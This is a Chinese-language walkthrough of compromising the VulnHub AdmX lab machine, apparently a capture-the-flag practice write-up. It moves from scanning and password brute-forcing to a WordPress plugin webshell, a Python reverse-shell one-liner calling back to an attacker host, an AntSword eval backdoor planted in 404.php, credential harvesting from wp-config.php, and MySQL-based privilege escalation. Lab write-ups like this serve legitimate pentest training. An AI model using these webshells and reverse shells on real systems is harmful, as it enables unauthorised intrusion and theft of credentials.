靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
涉及攻击方法:
主机发现
端口扫描
WEB路径爆破
BurpSuite内容替换
密码爆破
MSF漏洞利用
Wordpress后台漏洞利用
升级Full TTY终端
蚁剑上线
利用MySQL提权
一、主机发现
nmap -sn 172.20.10.1/24
二、端口扫描
nmap -p- 172.20.10.x
查看端口服务
nmap -p80 -sV 172.20.10.x
三、web路径发现
dirsearch -u http://172.20.10.2/
feroxbuster --url http://10.1.1.158/
(带字典爆破)
feroxbuster --url http://10.1.1.158/ -w /usr/share/dirb/wordlists/common.txt
访问页面
四、BurpSuite内容替换
硬编码IP地址
配置burpsuit,将192.168.159.145换成10.1.1.158
无果访问:
发现是后台地址
五、密码爆破
查找默认账号密码
对密码进行爆破
密码字典文件地址:GitHub - nr4v3n/SuperWordlist: 基于实战沉淀下的各种弱口令字典
admin/adam14
六、Wordpress后台漏洞利用
获取权限的方式:
media文件上传、appearance编辑外观(php源码编辑404页面)、Plugins写插件
写一个php插件
<?php /** * Plugin Name: Webshell * Plugin URI: https://zhangd.github.io * Description: WP Webshell for Pentest * Version: 1.0 * Author: ZhangD * Author URI: https://zhangd.github.io * License: https://zhangd.github.io */ if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
WordPress需要压缩成zip格式
zip shell.zip shell.php
上传shell压缩文件
安装激活
shell插件默认放置路径
http://10.1.1.158/wordpress/wp-content/plugins/shell.php
进行反弹shell
查找nc
which nc
查找python python2 python3
利用python3 进行反弹shell
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.157',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
url:
192.168.0.108/wordpress/wp-admin/plugins/shell.php?cmd=python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.157',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
七、MSF漏洞利用
wordpress利用msfdb获取shell(需要登录后台有账号密码)
1) 搜索关键词: wordpress admin search wordpress admin 2) 使用模块: exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload 2) 查看需要使用的参数: show options 3) 设置参数: 如下图: 进入模板路径
cd /var/www/html/wordpress/wp-content/themes/twentytwentyone
编辑404页面的php,无法交互
升级shell第一步
1) Ctrl + Z 将shell放置后台 2) 输入 stty raw -echo 3) 输入 fg 将后台进程调用到前台 4) 关闭所有程序 5) 确定kali有bash ls /bin/bash 6) 将 zsh 改成 bsh sudo chsh -s /bin/bash 7) 重启 8) 输入 echo $SHELL 显示 /bin/bash 成功 9) 重新监听
升级shell第二步
1) Ctrl + z 将shell放置后台 2) stty raw -echo 3) fg 将shell调回 4) ls 5) export SHELL=/bin/bash 6) export TERM=screen 7) stty rows 38 columns 116 8) reset 9) Tab键可以自动补齐-完成
编辑404.php
vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/404.php 插入蚁剑代码: eval($_POST['ant']);
蚁剑尝试连接404页面
http://192.168.0.108/wordpress/wp-content/themes/twentytwentyone/404.php
有的系统漏洞只能触发一次,所以打点成功,基于这个shell获取更多的shell,利用多种方式,多种途径去获得更多的shell
查看用户
cat /etc/passwd
查看内核版本,尝试提权
uname -a
查看sudo,尝试提权
sudo -l
查看wordpress配置文件,查看数据库的账号密码,连接数据库尝试提权
cat wp-config.php
尝试使用账号密码登录wpadmin账号
八、利用MySQL提权
尝试连接数据库登录
mysql -u admin -p Wp_Admin#123 -D wordpress
尝试用登录web密码登录wpadmin用户
su wpadmin
adam14
在家目录获取flag
尝试sudo提权
sudo -l
登录数据库
通过mysql的system指令执行系统命令
通过mysql指令执行bash提权(\! 是system的简称)